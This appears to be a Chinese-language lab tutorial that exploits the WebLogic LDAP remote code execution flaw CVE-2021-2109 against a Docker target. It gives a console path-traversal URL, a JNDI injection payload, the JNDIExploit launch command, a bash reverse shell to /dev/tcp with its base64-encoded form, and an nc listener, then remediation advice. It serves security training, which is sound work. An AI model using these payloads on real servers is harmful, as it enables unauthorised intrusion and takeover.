Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试

信息安全从业人员

计算机基础、计算机网络、Linux




预备知识
JNDI简介

JNDI是Java Naming and Directory Interface
(Java命名和目录接口)的英文简写,
是为Java应用程序提供命名和目录访问服务的API
(application programing interface,应用程序编程接口)。

Weblogic_ssrf 反序列化远程命令执行漏洞 未授权访问漏洞 LDAP




漏洞编号:CVE-2021-2109

漏洞名称:WebLogic LDAP远程代码执行漏洞

漏洞描述:
2020年11月19日,
阿里云安全向Oracle官方报告了Weblogic Server远程代码执行漏洞。
攻击者可通过LDAP协议,实现JNDI注入攻击,
加载远程CodeBase下的恶意类,最后执行任意代码从而控制服务器。

影响版本:WebLogic Server10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

漏洞等级:高危




通过实验掌握WebLogic LDAP远程代码执行漏洞的利用方法,
了解漏洞原理

PoC的构造链。




实验环境
靶机:docker+weblogic12.2.1.3 IP:10.1.1.109
Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_02

攻击机:kali IP:10.1.1.110




任务描述:启动漏洞环境,判断漏洞是否存在。

靶机WebLogic Server已启动,浏览器访问 http://ip:7001 即可:

Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_03

注:7001是WebLogic的默认端口。

访问/console/css/%252e%252e%252f/consolejndi.portal:

Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_04

注:如果没有立即显示,刷新页面即可。

如果有此页面未授权可访问,且WebLogic为受影响的版本,则可能存在漏洞。
Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_05

任务描述:启动LDAP,远程执行代码。
Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_06

下载漏洞攻击需要的LDAP启动脚本到服务器上并启动:

java -jar JNDIExploit.jar -i ip(攻击机地址)
Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_07
Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_08

配合WebLogic未授权漏洞进行代码执行:

/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

注:LDAP服务器地址的第三个分割符号为;

Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_09
Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_10
Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_11
Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_12
另起一个终端,运行漏洞利用PoC:
Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_13

注意参数格式:LDAP >>> ldap://xxx.xxx.xxx;xxx:1389
Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_14

可以成功远程执行命令。

Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_15Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_16Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_17

任务描述:利用漏洞反弹shell。

访问 http://www.jackson-t.ca/runtime-exec-payloads.html,

将bash反弹命令bash -i >&/dev/tcp/10.1.1.110/6666 0>&1

进行base64编码转换:

得到:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTEwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

在攻击机上运行nc-lvvp 6666命令监听6666端口:

Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_18

将编码后的命令复制到cmd后面进行重放:

Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_19

成功反弹回shell。
Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_20Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_21

漏洞修复
1、由于是通过JNDI注入进行远程代码执行,建议升级Weblogic Server运行环境的JDK版本;

2、升级官方安装补丁:https://www.oracle.com/security-alerts/cpujan2021.html

Web安全-远程代码执行漏洞——CVE-2021-2109 WebLogic LDAP_渗透测试_22

关闭 默认



分析与思考
漏洞分析见:https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw

调试分析参考:https://mp.weixin.qq.com/s/WtoUzPEgLlU8jUzvzC75Dg

参考
1、 https://mp.weixin.qq.com/s/gRgrzgkgeehT1DnnlnqQKw
2、 https://mp.weixin.qq.com/s/P6xTm3Ww4llbbd9CIm9spQ
3、 https://www.freebuf.com/vuls/261872.html